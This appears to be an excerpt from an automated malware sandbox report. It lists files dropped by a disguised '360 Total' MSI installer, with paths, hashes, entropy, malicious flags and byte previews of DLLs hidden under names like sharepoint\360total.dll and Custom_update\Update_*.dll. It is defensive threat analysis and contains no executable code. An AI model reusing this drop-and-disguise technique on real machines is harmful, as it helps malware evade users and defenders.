Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSID498.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSID4B9.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSID4D9.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSID509.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSID529.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\sharepoint\360total.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	906752
Entropy (8bit):	6.2833336520446625
Encrypted:	false
SSDEEP:	12288:gfPSAAUHV4fZUv/TrguVTax7hNRu18VA8JFoxMk/wYeDKDMyAmp:qPSAAUHV4fZUvfgmaxpu1F8J6xMYHMBS
MD5:	74143402C40AC2E61E9F040A2D7E2D00
SHA1:	4053DC85BB86C47C63F96681D6A62C21CD6342A3
SHA-256:	1625AC230AA5CA950573F3BA0B1A7BD4C7FBD3E3686F9ECD4A40F1504BF33A11
SHA-512:	4AA55B859F15BE8B14C4A0FF6F3971F49B47C1C8C8427F179EB4AB0C76E321441ADFD173469FACB12AAE1E81E25F1328FD621214B42E66F690BA4E9EE1E54CF9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5% Antivirus: Virustotal, Detection: 14%, Browse
Preview:	MZ......................@...................................h...........!..L.!This program cannot be run in DOS mode....$........,>5.MPf.MPf.MPf.<Qg.MPf..Qg.MPf.%Tg.MPf.%Sg.MPf.&Ug.MPf-$Qg.MPf.<Ug.MPf.<Ug.MPf+.f.MPf/$Tg.MPf.Ug.MPf.Tg.MPf/$Ug.MPf.$Ug.MPf.%Ug.MPf.&Tg.MPf.&Vg.MPf.&Qg.MPf.MQfoLPf.$Yg.MPf.$Pg.MPf.$.f.MPf.M.f.MPf.$Rg.MPfRich.MPf................PE..d...:5.`..........# .....J..........`........................................@............ ..........................................+......`,..,....0...........d......H?...@..........T.......................(....................`...............................text...(I.......J.................. ..`.rdata.......`.......N..............@..@.data....e...P...0...<..............@....pdata...d.......f...l..............@..@.rsrc........0......................@..@.reloc.......@......................@..ByhDm^........P.........................@.........^EbkSBi$)eAX>u5kZ*^3GxY+_By3IAMem4Y^@h^vhh6CfaeU6j.....................................

C:\Users\user\AppData\Roaming\Custom_update\Update_77697333.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	906752
Entropy (8bit):	6.2833336520446625
Encrypted:	false
SSDEEP:	12288:gfPSAAUHV4fZUv/TrguVTax7hNRu18VA8JFoxMk/wYeDKDMyAmp:qPSAAUHV4fZUvfgmaxpu1F8J6xMYHMBS
MD5:	74143402C40AC2E61E9F040A2D7E2D00
SHA1:	4053DC85BB86C47C63F96681D6A62C21CD6342A3
SHA-256:	1625AC230AA5CA950573F3BA0B1A7BD4C7FBD3E3686F9ECD4A40F1504BF33A11
SHA-512:	4AA55B859F15BE8B14C4A0FF6F3971F49B47C1C8C8427F179EB4AB0C76E321441ADFD173469FACB12AAE1E81E25F1328FD621214B42E66F690BA4E9EE1E54CF9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5% Antivirus: Virustotal, Detection: 14%, Browse
Preview:	MZ......................@...................................h...........!..L.!This program cannot be run in DOS mode....$........,>5.MPf.MPf.MPf.<Qg.MPf..Qg.MPf.%Tg.MPf.%Sg.MPf.&Ug.MPf-$Qg.MPf.<Ug.MPf.<Ug.MPf+.f.MPf/$Tg.MPf.Ug.MPf.Tg.MPf/$Ug.MPf.$Ug.MPf.%Ug.MPf.&Tg.MPf.&Vg.MPf.&Qg.MPf.MQfoLPf.$Yg.MPf.$Pg.MPf.$.f.MPf.M.f.MPf.$Rg.MPfRich.MPf................PE..d...:5.`..........# .....J..........`........................................@............ ..........................................+......`,..,....0...........d......H?...@..........T.......................(....................`...............................text...(I.......J.................. ..`.rdata.......`.......N..............@..@.data....e...P...0...<..............@....pdata...d.......f...l..............@..@.rsrc........0......................@..@.reloc.......@......................@..ByhDm^........P.........................@.........^EbkSBi$)eAX>u5kZ*^3GxY+_By3IAMem4Y^@h^vhh6CfaeU6j.....................................

C:\Users\user\AppData\Roaming\Custom_update\update_data.dat

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	74
Entropy (8bit):	6.020264176439766
Encrypted:	false
SSDEEP:	3:oZ6u8EU9kWVn5pr28xp4ikc4S3:oCk2lxD4S
MD5:	EE5D98CD3EF7D73FA9C2C0AC138AF0CB
SHA1:	AAFC749A19F0EF684631ECB581D73DC2F8368230
SHA-256:	873F91B643A5AA49D0E1B73FE00F2E695910E55BED995D79BC19BF8A6C7ECF63
SHA-512:	3090DFDE9B13B1FED9FA90E193E81D83B962A5F48EB96470DF57A0FBCE6E16D8008789557D1A6E0EA9E385CCDBFD5760FEE97D1227EA89E2612BFC082AC010AC
Malicious:	false
Preview:	P.....K...4..Y!.:.A.]..0..3Z.z.ykr.........<.......R.~c...r-\|w.q.1.0>..Y

C:\Windows\Installer\5fd5a1.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {805E70A6-23C0-4688-BBAF-6F995BB72730}, Number of Words: 10, Subject: 360 Total, Author: HuMaster LLC, Name of Creating Application: 360 Total, Template: ;1033, Comments: This installer database contains the logic and data required to install 360 Total., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Category:	dropped
Size (bytes):	1619456
Entropy (8bit):	7.152500797895932
Encrypted:	false
SSDEEP:	49152:QZH3YuW8zBQSc0ZnSKmZKumZr7A2BQTBG:+Y90Zn0K/A2OF
MD5:	666151C11B7899A0C764ABE711D3F9B3
SHA1:	35462114E096F4D307607D713136BFE38479870D
SHA-256:	8041A15E27C785F2ADCCE9E8C643F5CC619B52E50CD36FF043D13C4089CE1CAD
SHA-512:	835FEE905D540F1E3B4D32A0645041C9ADD6EA488675A8CA99DBE571CFAAEF5781BED8C1277DD7942BE7D672945D68A1016C2AB5CB645D539E07893D69672ADC
Malicious:	false
Preview:	......................>.......................................................E.......a...............................(...)......+...,...-...........A...B...C...D...E...F...............................................................................................................................................................................................................................................................................................................................................................;...........!...3............................................................................................... ...+..."...#...$...%...&...'...(...)......1...,...-......./...0...4...2...:...?...5...6...7...8...9...>...<.......=...........@...A...B...C...D...........G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Windows\Installer\MSID69B.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSID719.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSID824.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	401017
Entropy (8bit):	6.591625418894829
Encrypted:	false
SSDEEP:	6144:RMvZx0Flyv/UB8zBQSnuJnO6n4ZSaHwLvFnNLqrFWeyp1uBxfAOT3VDqO1p:RMvZx0FlS68zBQSncb4ZPQTpAjZxqO1p
MD5:	8A1FD55346F6FA2061C1D401D9E9584E
SHA1:	FDDB921F0E8BF8B522D9679AAB7F22AC1266642C
SHA-256:	AD5FEF26009019FD8039F7FCCEEBBD6F52481C934DE8256F245A701A553FF304
SHA-512:	5FA4B38B0AF4B65C6E767EE3FE55BA431C3EBB43208119A6A81A9E47C0A3F73E81702527373345EAE40CC49292B4126D9F161A49CD2C108E7949918D4F97A725
Malicious:	false
Preview:	...@IXOS.@.....@...X.@.....@.....@.....@.....@.....@......&.{B135729E-0574-44D1-B7A1-6E44550F506B}..360 Total..ad.msi.@.....@.....@.....@........&.{805E70A6-23C0-4688-BBAF-6F995BB72730}.....@.....@.....@.....@.......@.....@.....@.......@......360 Total......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration...@.....@.....@.]....&.{B48CC27C-9823-4256-8235-834BFD2D0DBB}7.C:\Users\user\AppData\Roaming\HuMaster LLC\360 Total\.@.......@.....@.....@......&.{4A323D5F-6D73-4C26-8E39-BE8928DA13EB}+.01:\Software\HuMaster LLC\360 Total\Version.@.......@.....@.....@......&.{ADF9F598-7B84-45C9-B1CA-E80968A538BA}5.C:\Users\user\AppData\Local\sharepoint\360total.dll.@.......@.....@.....@........CreateFolders..Creating folders..Folder: [1]".7.C:\Users\user\AppData\Roaming\HuMaster LLC\360 Total\.@........InstallFiles..Copying new files&.File: [1], Directory: [9], Size: [6]...@.....@.....@....

C:\Windows\Installer\MSID8B1.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	399328
Entropy (8bit):	6.589290025452677
Encrypted:	false
SSDEEP:	6144:gMvZx0Flyv/UB8zBQSnuJnO6n4ZSaHwLvFnNLqrFWeyp1uBxfAOT3VDqO1:gMvZx0FlS68zBQSncb4ZPQTpAjZxqO1
MD5:	B9545ED17695A32FACE8C3408A6A3553
SHA1:	F6C31C9CD832AE2AEBCD88E7B2FA6803AE93FC83
SHA-256:	1E0E63B446EECF6C9781C7D1CAE1F46A3BB31654A70612F71F31538FB4F4729A
SHA-512:	F6D6DC40DCBA5FF091452D7CC257427DCB7CE2A21816B4FEC2EE249E63246B64667F5C4095220623533243103876433EF8C12C9B612C0E95FDFFFE41D1504E04
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................J......J..5.......................J......J......J..........Y..."......".q............."......Rich....................PE..L....<.a.........."......^...........2.......p....@..........................P......".....@.................................0....................................5...V..p....................X.......W..@............p.. ............................text....\.......^.................. ..`.rdata..XA...p...B...b..............@..@.data....6..........................@....rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\SourceHash{B135729E-0574-44D1-B7A1-6E44550F506B}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.1615070252691617
Encrypted:	false
SSDEEP:	12:JSbX72FjciAGiLIlHVRpBh/7777777777777777777777777vDHFXIOQa704pOlN:J9QI5V1IidF
MD5:	E7794FC0A6BBBE717940A0216B663179
SHA1:	39D30989BA6DD902F9A0E479ACF268F337CA7DFE
SHA-256:	1BEA89CC9A8D6E919463633236A3BBB953C7225645F855D77320BD9307CB6658
SHA-512:	0CFEAF61D263BD06C4691C41988B60FB0804A450F926622D1E89C759B4E4D0AA5C874FCC3C0BBC7F5BEE0A7952503C530B66D37315E970A17ADC7483FE2FFBE5
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5808291684127274
Encrypted:	false
SSDEEP:	48:y8Ph4uRc06WXOGjT54b7SaVAErCycD27SGTR:dh41IjTub7JewCS3
MD5:	52FED0FB187091045C487FB8DFD94B4E
SHA1:	F31BA1FC0E04140F359F8F4521F61D2F14240D49
SHA-256:	BAF14058494B03F9C94972B99A7C0E9FF375991BAFEF8C74B1847304278DEADD
SHA-512:	AD6D42A2FD9049C2E5D96205A61B0F5BD7486074774A9123594842CB176406592B8F968FC4D789741C1BD18002E23BE8618285B1CE32E08D2C01786562A32B4B
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	364484
Entropy (8bit):	5.365507176161241
Encrypted:	false
SSDEEP:	1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26Kgau7:zTtbmkExhMJCIpE8
MD5:	280CA73046808255E54B977BFBF51E30
SHA1:	24D156D2BBC408B970F48FB01B0F2135863862BC
SHA-256:	BD962A71280FB8EEAE09F17ED877E08F7F48001CE760729B8B714D325395CB48
SHA-512:	CF8FBB75B38ACA74698BFDBB32A0C79A2589B2ABC09388B9E9049D2C6B1B79FE2110E57C275DC352DD19E5ED99CA27A4E20F65A38F49CF0BD14381234ECA2FEB
Malicious:	false
Preview:	.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

C:\Windows\Temp\~DF119A6BD75A17A3D9.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF1D9EB0A73126B59B.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5808291684127274
Encrypted:	false
SSDEEP:	48:y8Ph4uRc06WXOGjT54b7SaVAErCycD27SGTR:dh41IjTub7JewCS3
MD5:	52FED0FB187091045C487FB8DFD94B4E
SHA1:	F31BA1FC0E04140F359F8F4521F61D2F14240D49
SHA-256:	BAF14058494B03F9C94972B99A7C0E9FF375991BAFEF8C74B1847304278DEADD
SHA-512:	AD6D42A2FD9049C2E5D96205A61B0F5BD7486074774A9123594842CB176406592B8F968FC4D789741C1BD18002E23BE8618285B1CE32E08D2C01786562A32B4B
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF20CDAD37B86C29CB.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2660861253773124
Encrypted:	false
SSDEEP:	48:zXwudBJvcFXOhT5O2b7SaVAErCycD27SGTR:7w9sTk2b7JewCS3
MD5:	6705E201416C56C156C28221AD7102EC
SHA1:	73A0103E661BFEAA7B78DFC07C1D674AA47CAA28
SHA-256:	3440CFC8AFF2C8F157152ABF87C4E4913A9243B4B32350790FBF06BBFC0D5AB6
SHA-512:	A4A85B82A35A325260D7EEC2F00CD15A604054F46A3A7E35BFE0C8F362B374D9AB20F4F7EB25D3D35C7BA6598072E8438A762BC3A659645BF8389116C182CA54
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF2F18E242DA04CE3D.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF53A2555FE1236737.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	0.1432228615371309
Encrypted:	false
SSDEEP:	24:vOUTx0EsipV0E+0EsipV0EgVAEV0yjCycVQwGqKO2TcT+:2UTGSrSaVAErCycD2TA
MD5:	745F1BB958E3899442A36BEFDD0FB5DA
SHA1:	A6A39411B3FE0ED0069D5B49BB87310C65876C62
SHA-256:	631B21127B3419AB912BA3EBF654FB4973D009D9D430D56C65F739B8B9811C99
SHA-512:	B0FF8AE595A462723297266335A86D15BEDAF3E6B2EA4CAA29074336674A1355D44928E2EA086937402D8E57D68351F42F031B81B11565643D6A31600AEDA72F
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF57522413105921DA.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2660861253773124
Encrypted:	false
SSDEEP:	48:zXwudBJvcFXOhT5O2b7SaVAErCycD27SGTR:7w9sTk2b7JewCS3
MD5:	6705E201416C56C156C28221AD7102EC
SHA1:	73A0103E661BFEAA7B78DFC07C1D674AA47CAA28
SHA-256:	3440CFC8AFF2C8F157152ABF87C4E4913A9243B4B32350790FBF06BBFC0D5AB6
SHA-512:	A4A85B82A35A325260D7EEC2F00CD15A604054F46A3A7E35BFE0C8F362B374D9AB20F4F7EB25D3D35C7BA6598072E8438A762BC3A659645BF8389116C182CA54
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF5E2EF32C0856442C.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
